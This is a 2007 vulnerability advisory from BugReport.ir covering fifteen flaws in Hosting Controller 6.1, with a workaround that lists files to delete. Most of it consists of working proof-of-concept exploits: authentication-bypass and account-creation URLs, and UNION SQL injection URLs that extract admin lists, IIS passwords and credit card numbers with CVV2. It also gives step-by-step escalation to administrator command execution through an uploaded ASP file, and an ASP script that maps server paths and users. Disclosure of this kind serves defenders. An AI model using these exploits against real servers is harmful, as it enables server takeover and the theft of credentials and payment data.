Title: Multiple Security Bugs In Hosting Controller Critical: Extremely critical Impact: Full system administrator access Vendor: Hosting Controller Version: 6.1 Hot fix <= 3.3 Vendor URL: www.hostingcontroller.com Solution: N/A From company - There is temporary solution in this report Exploit: Available Release Date: 2007 - December Credit: www.BugReport.ir #################### - Discussion: #################### 1- [Remote Attacker] can login to hosting controller Panel. He can also change all others' passwords. 2- [User] can copy a file to hosting controller web directory which is executed under administrative privilege, so attacker can execute his commands by administrative privilege. e.g. an attacker can gain remote desktop of server using this bug and uploading an ASP file! 3- [Remote Attacker] can make a new user. 4- [Remote Attacker] can change all user's profiles. 5- [User] can see all the database information by a SQL injection. 6- [User] can change his credit amount or increase his discount. 7- [User] can uninstall other's FrontPage extensions. 8- [User] can delete all of gateway information. 9- [User] can enable or disable pay type. 10- [[User] can see all usernames in the server by "fp2000/NEWSRVR.asp". 11- [User] can find Hosting Controller setup directory. 12- [User] can import unwanted plan or change the plans. 13- [Remote Attacker] can find web site path. 14- [Remote Attacker] can enable or disable all Hosting Controller forums by SQL Injection. 15- [User] can change other's host headers. [Remote attacker] = (Unauthorized user without any permission or access.) [User] = (A user with a simple account.) #################### - Exploits: (or POCs) #################### \\\\\\\\\\\\\\\\\\\\\ ///////////////////// 1- [Remote Attacker] can login to hosting controller Panel. He can also change all others' passwords: 1.1- http://[HC URL]/hosting/addreseller.asp?reseller=[USERNAME] -> for ex. [USERNAME]= resadmin 1.2- Now, to login without changing the password, attacker must run "ChangeDisplay.htm" then redirect to "main.asp" ~~~~~~~~~~~~~~~~1.2.1 ChangeDisplay.htm~~~~~~~~~~~~~~~~~~~~~~~~ URL:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 1.3- Attacker, also can change username's password without having current password by "ChangePass.htm" ~~~~~~~~~~~~~~~~1.3.1 ChangePass.htm~~~~~~~~~~~~~~~~~~~~~~~~ URL:
UserName:
FullName:
Description:
Password:
Confirm Password:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ \\\\\\\\\\\\\\\\\\\\\ ///////////////////// 2- [User] can copy a file to hosting controller web directory which is executed under administrator's privilege, so attacker can execute his commands by administrator's privilege. For example attacker can gain remote desktop of server by this way and uploading an ASP file! This bug is because of "inc_newuser.asp" that can set full control permission on each "db","www","Special", or "log" directory on the server. This part is more complicated than the others, so we describe it more too. 2.1- We have a username, for ex. “testuser” for a site like “testuser.com” 2.2- Login by "testuser" and its password. 2.3- Find Hosting Controller setup directory as we wrote it in part 11. (default directory is “C:\Program Files\Advanced Communications\Hosting Controller\web\admin\”) 2.4- Find “testuser.com” IIS username by uploading a file or by seeing all system user (part 10) or by your experience (username for “testuser.com” is always like “testusercom_web” ) 2.5- Drag & drop "SetPermission.htm" to your current browser's window (that is logged in Hosting Controller) and fill it. ~~~~~~~~~~~~~~~~2.5.1 SetPermission.htm~~~~~~~~~~~~~~~~~~~~~~~~
            This file set full permission on "DB" directory of "forum"
            So you can upload your file there and execute your command with administrator permission.
            
Site URL: like: http://tesuser.com:8077 or http://testuser.com/admin
Username (less than 20): like: ASPNET or testusercom_web
HC Files Path (no back-slash at end): like: C:\Program Files\Advanced Communications\Hosting Controller\web\admin


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 2.6- If you see “Error: 70500170 : User already exists in either OS or Database.“ Means that all the thing are OK!, and your permission has already set. 2.7- Now you have a full access to "[HCPATH]\Forum\DB". Note: You can do that with "[HCPATH]\phpBB\phpBB\db" too because there is "db" directory too. 2.8- So you can upload your command executer there, but you need a file uploader at first on "testuser.com" to upload your command executer on "[HCPATH]\Forum\DB". 2.9- If your permission has not been set correctly, its always because of limitation on making a new user. So you must login with username's reseller and make a new plan with making some new user accounts permission then sell it to your username. Also, you can increase your credit amount (part 6) and buy a plan with a lot of web accounts then select it and do these operation from the first. (Note: This vulnerability works properly and there is no exception like the others!) \\\\\\\\\\\\\\\\\\\\\ ///////////////////// 3- [Remote Attacker] can make a new user. 3.1- Goto http://[HC URL]/hosting/default.asp?referral="http://" 3.2- Then http://[HC URL]/hosting/selectdomain.asp?htype=HTYPE 3.3- Then http://[HC URL]/hosting/addsubsite.asp?reseller=resadmin&loginname=Bugreport&password=something&email=Admin@Bugreport.ir&DomainName=Bugreport.com \\\\\\\\\\\\\\\\\\\\\ ///////////////////// 4- [Remote Attacker] can change all user's profiles. 4.1- Use "Change Profiles.htm" ~~~~~~~~~~~~~~~~4.1.1 ChangeProfiles.htm~~~~~~~~~~~~~~~~~~~~~~~~ URL:
UserName:
first name:
last name:
description:
company:
email:
country:
state:
city:
address:
phone:
fax:
zip:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Note: "ResAdmin" in "_action" can change to "hcadmin" or an another valid username. 4.2- Now Goto: http://[HC URL]/hosting/xml_addresellerresult.asp 4.3- A user can inject a SQL query in "Email" or "Loginname" field to change user's profile without having his email address too. \\\\\\\\\\\\\\\\\\\\\ ///////////////////// 5- [User] can see all the database information by a SQL injection. 5.1- Some exploits are: ~~~~~~~~~~~~~~~~5.1.1 Exploits~~~~~~~~~~~~~~~~~~~~~~~~ ---See all users http://[HC URL]/accounts/accountmanager.asp?iconwebsite=&search=1&sortaction=1&sortfield=name union select Name,FullName,Description,AdminLevel From Admin_List where 1=1 order by name ---AdminProp http://[HC URL]/accounts/accountmanager.asp?iconwebsite=&search=1&sortaction=1&sortfield=name union select propname,adminname,propvalue,propname From Adminprop where 1=1 order by name ---SQL SERVER http://[HC URL]/accounts/accountmanager.asp?iconwebsite=&search=1&sortaction=1&sortfield=name union select Databasename,Owner,Loginname,Servername From SQLServer where 1=1 order by name ---IISPasswords http://[HC URL]/accounts/accountmanager.asp?iconwebsite=&search=1&sortaction=1&sortfield=name union select FolderID,WebsiteID,User,Folder From IISPasswords where 1=1 order by name ---CreditCards http://[HC URL]/accounts/accountmanager.asp?iconwebsite=&search=1&sortaction=1&sortfield=name union select creditcardno,expdate,isEncrypted,cvv2 From creditcard where 1=1 order by name ---DSN http://[HC URL]/accounts/accountmanager.asp?iconwebsite=&search=1&sortaction=1&sortfield=name union select DSNName,DSNOwner,FilePath,Driver From DSN where 1=1 order by name ---Domain Registration http://[HC URL]/accounts/accountmanager.asp?iconwebsite=&search=1&sortaction=1&sortfield=name union select domainname,domainpassword,ns1,ns1_IP From DomainRegistration where 1=1 order by name ---Domai nRegistration Info http://[HC URL]/accounts/accountmanager.asp?iconwebsite=&search=1&sortaction=1&sortfield=name union select custname,accountlogin,accountpass,authoritytype From DomainRegistrationInfo where 1=1 order by name ---GateWays http://[HC URL]/accounts/accountmanager.asp?iconwebsite=&search=1&sortaction=1&sortfield=name union select creditcardno,CVV2,Amount,expdate From GateWays where 1=1 order by name ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ \\\\\\\\\\\\\\\\\\\\\ ///////////////////// 6- [User] can change his credit amount or increase his discount. 6.1- User can increase his credit or discount by "ChangeCredit.htm" ~~~~~~~~~~~~~~~~6.1.1 ChangeCredit.htm~~~~~~~~~~~~~~~~~~~~~~~~ URL:
UserName:
FullName:
Description:
DefaultDiscount:
CreditLimit:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ \\\\\\\\\\\\\\\\\\\\\ ///////////////////// 7- [User] can uninstall other's FrontPage extensions. 7.1- A user can uninstall other's FrontPage extensions by sending server "host" id (IIS) value to "http://[HC URL]/fp2002/UNINSTAL.asp" by POST method. \\\\\\\\\\\\\\\\\\\\\ ///////////////////// 8- [User] can delete all of gateway information. 8.1- By using "http://[HC URL]/OpenApi/GatewayVariables.asp" directly. 8.2- Also by a SQL Injection in "http://[HC URL]/OpenApi/GatewayVariables.asp?GateWayID=1 or 1=1 or 1=1". \\\\\\\\\\\\\\\\\\\\\ ///////////////////// 9- [User] can enable or disable pay type. 9.1- By using "http://[HC URL]/adminsettings/choosetranstype.asp" directly. \\\\\\\\\\\\\\\\\\\\\ ///////////////////// 10- [[User] can see all usernames in the server by "fp2000/NEWSRVR.asp". 10.1- Some exploits are: http://[HC URL]/fp2000/NEWSRVR.asp?AdminName=OWNERNAME&AdminLevel=reseller http://[HC URL]/fp2000/NEWSRVR.asp?AdminName=hcadmin&AdminLevel=host And for all usernames: http://[HC URL]/fp2000/NEWSRVR.asp?AdminName=&AdminLevel= \\\\\\\\\\\\\\\\\\\\\ ///////////////////// 11- [User] can find Hosting Controller setup directory. 11.1- This exploit run locally so the url is like: "http://localhost:8077/hosting/css.asp?AutoHost=resadmin'" 11.2- To see it locally you can use "FindMap.asp" ~~~~~~~~~~~~~~~~11.2.1 FindMap.asp~~~~~~~~~~~~~~~~~~~~~~~~ <%@LANGUAGE="VBSCRIPT" CODEPAGE="1252"%> <% Check = 1 ' Change to 1,2,3,4 if you can't get the proper answer If Check =1 then '------------------------------------------------------------------------- Set xml = Server.CreateObject("Microsoft.XMLHTTP") xml.Open "Get", "http://127.0.0.1:8077/hosting/css.asp?AutoHost=resadmin'", False '------------------------------------------------------------------------- ElseIf Check =2 Then '------------------------------------------------------------------------- Set xml = Server.CreateObject("Microsoft.XMLHTTP") xml.Open "Get", "http://localhost:8077/hosting/css.asp?AutoHost=resadmin'", False '------------------------------------------------------------------------- ElseIf Check =3 Then '------------------------------------------------------------------------- Set xml = Server.CreateObject("MSXML2.XMLHTTP") xml.Open "Get", "http://127.0.0.1:8077/hosting/css.asp?AutoHost=resadmin'", False '------------------------------------------------------------------------- ElseIf Check =4 Then '------------------------------------------------------------------------- Set xml = Server.CreateObject("MSXML2.XMLHTTP") xml.Open "Get", "http://localhost:8077/hosting/css.asp?AutoHost=resadmin'", False '------------------------------------------------------------------------- End If xml.setRequestHeader "lastCached", now() xml.setRequestHeader "Content-Type","application/x-www-form-urlencoded" xml.Send TotalInputPOST FileContent = xml.getResponseHeader("Content-Type") strHtmlContent = xml.responseText i = instrrev(strHtmlContent,"../common/SqlInject.asp") j = instrrev(strHtmlContent,"size=2>",i) Response.Write(""&mid(strHtmlContent,j+7,i-j-15)&"") %> <%set oScriptNet=Server.CreateObject("Wscript.Network")%>
                Computer Name: <%=oScriptNet.ComputerName%>
                User: <%=oScriptNet.UserName%>   (You are seeing this page by this user)
                Both: \\<%=oScriptNet.ComputerName%>\\<%=oScriptNet.UserName%>
                User Length=<%If Len(oScriptNet.UserName)<=20 Then Response.Write(" OK :)") Else Response.Write(" False :( More than 20 chars so you must use from other username like ASPNET")%>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ \\\\\\\\\\\\\\\\\\\\\ ///////////////////// 12- [User] can import unwanted plan or change the plans. 12.1- To import a plan use "http://[HC URL]/hosting/importhostingplans.asp" directly. 12.2- To change a plan use something like "http://[HC URL]/hosting/AutoSignUpPlans.asp?save=1&30=ON&d_30=1" directly. \\\\\\\\\\\\\\\\\\\\\ ///////////////////// 13- [Remote Attacker] can find web site path. 13.1- When forum is not available, or it is not default, "http://[HC URL]/admin/forum/" shows website path with an error. \\\\\\\\\\\\\\\\\\\\\ ///////////////////// 14- [Remote Attacker] can enable or disable all Hosting Controller forums by SQL Injection. 14.1- This is because of a SQL Injection in "/forum/HCSpecific/DisableForum.asp" and "/forum/HCSpecific/EnableForum.asp" "http://[HC URL]//forum/HCSpecific/DisableForum.asp?action=disableforum&ForumID=1 or 1=1" "http://[HC URL]//forum/HCSpecific/DisableForum.asp?action=disableforum&ForumID=1 or 1=1" \\\\\\\\\\\\\\\\\\\\\ ///////////////////// 15- [User] can change other's host headers. 15.1- This is because of "/IIS/iibind.asp" which accept the parameter without any checking. Also, this file has potential for dangerous SQL Injection. #################### - Solution: #################### Unfortunately, there is no support from hosting controller about these bugs. Also, they told us that there is no more support for HC 6.1. Fast Solution: Delete or rename these files which are in "Hosting Controller\web\admin\": - "/hosting/addreseller.asp" - "/Accounts/AccountActions.asp" - "/hosting/addsubsite.asp" - "/hosting/xml_addresellerresult.asp" - "/accounts/accountmanager.asp" - "/fp2002/UNINSTAL.asp" - "/OpenApi/GatewayVariables.asp" - "/fp2000/NEWSRVR.asp" - "/hosting/importhostingplans.asp" - "/hosting/AutoSignUpPlans.asp" - "/forum/HCSpecific/DisableForum.asp" - "/forum/HCSpecific/EnableForum.asp" - "/IIS/iibind.asp" Also, you can contact "admin[4t}bugreport{d0t]ir" to fix all these bugs for you without changing or deleting any file if you want. #################### - Credit : #################### AmnPardaz Security Research Team - www.Bugreport.ir Contact: admin[4t}bugreport{d0t]ir